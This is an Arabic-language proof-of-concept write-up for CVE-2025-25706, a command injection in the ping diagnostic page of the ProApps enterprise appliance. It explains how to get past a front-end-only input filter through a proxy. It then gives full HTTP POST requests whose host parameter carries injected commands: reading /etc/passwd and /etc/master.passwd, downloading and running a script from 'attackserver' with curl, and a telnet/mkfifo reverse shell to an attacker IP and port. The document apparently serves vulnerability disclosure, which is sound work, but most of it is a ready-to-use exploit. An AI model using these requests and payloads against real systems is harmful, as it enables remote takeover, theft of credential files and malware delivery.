
# إثبات مفهوم مفصل لـ CVE-2025-25706 يوضح تنفيذ الأوامر عن بُعد عبر المصادقة من خلال حقن الأوامر في وظيفة ping في ProApps، بما في ذلك حمولة الصدفة العكسية وخطوات الاستغلال.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
تنفيذ التعليمات البرمجية عن بُعد
تحدث الثغرة لأن المستخدم يمكنه حقن أوامر النظام من خلال التطبيق باستخدام وظيفة ping عن طريق إضافة عامل تسلسل الأوامر في بيئات يونكس، مثل (; أو && أو |). لاستغلال الثغرة، يلزم أن يكون المستخدم مُصادقًا. يجب أن ينتمي المستخدم إلى مجموعة صلاحيات تسمى 'Status' وأن يكون لديه إذن 'Modified'. من المهم أيضًا ذكر أن الاستغلال الناجح يتطلب تجاوز تنقية المدخلات. يتحقق التطبيق من مدخلات المستخدم فقط في الواجهة الأمامية، مما يستلزم إرسال الطلب عبر وكيل شبكة، على سبيل المثال. وبهذه الطريقة يمكن تجاوز القيود التي يفرضها التطبيق."
بعد المصادقة، سيكون من الضروري الوصول إلى صفحة تسمى sta_rede.diagnostico_ping (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view).
توفر هذه الصفحة وظيفة لإجراء طلب ICMP إلى مضيف عشوائي. لمعرفة المزيد حول أداة ping وبروتوكول ICMP (الطلب والرد)، يرجى الرجوع إلى RFC المذكور في قسم المراجع.
يرسل التطبيق طلب POST مع المعاملات host و testar_pacote و ttl، حيث يكون host هو هدف الأمر ping، وtestar_pacote يحدد عدد طلبات ICMP التي سيتم إرسالها، وTTL هو الوقت المتبقي للحياة (TTL) للحزم. عند إرسال الطلب، ينفذ التطبيق الأمر التالي على نظام يونكس: ping -c $testar_pacote $host. فيما يلي طلب POST الذي يوضح الوظيفة:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
وهنا يظهر ناقل الهجوم. يمكن للمستخدم استغلال الثغرة عن طريق إرسال طلب POST خبيث عبر وكيل شبكة لتجاوز تنقية المدخلات، وذلك بإلحاق أحد عوامل تسلسل الأوامر (; أو && أو |) بمعامل host، وعندها سيقوم تطبيق الويب بتنفيذ أمر ping المذكور أعلاه متبوعًا بأمر إضافي. على سبيل المثال، يمكن أن يشمل ذلك قراءة ملفات حساسة مثل /etc/passwd أو /etc/master.passwd أو الحصول على قشرة عكسية أو تنفيذ أوامر عشوائية.
طلب POST أدناه هو مثال مخصص وخبيث:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
طلب HTTP POST إلى sta_rede.diagnostico_ping:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
من خلال الاستماع على المنفذ المحدد باستخدام Netcat، يتم فتح قشرة عكسية بنجاح.
تسمح ثغرات RCE (تنفيذ التعليمات البرمجية عن بُعد) للمهاجم بتنفيذ تعليمات برمجية عشوائية على جهاز بعيد، ويمكن أن تؤدي إلى اختراق كامل للنظام، وخرق البيانات، والحركة الجانبية، ونشر البرامج الضارة، وأضرار سمعة ومالية.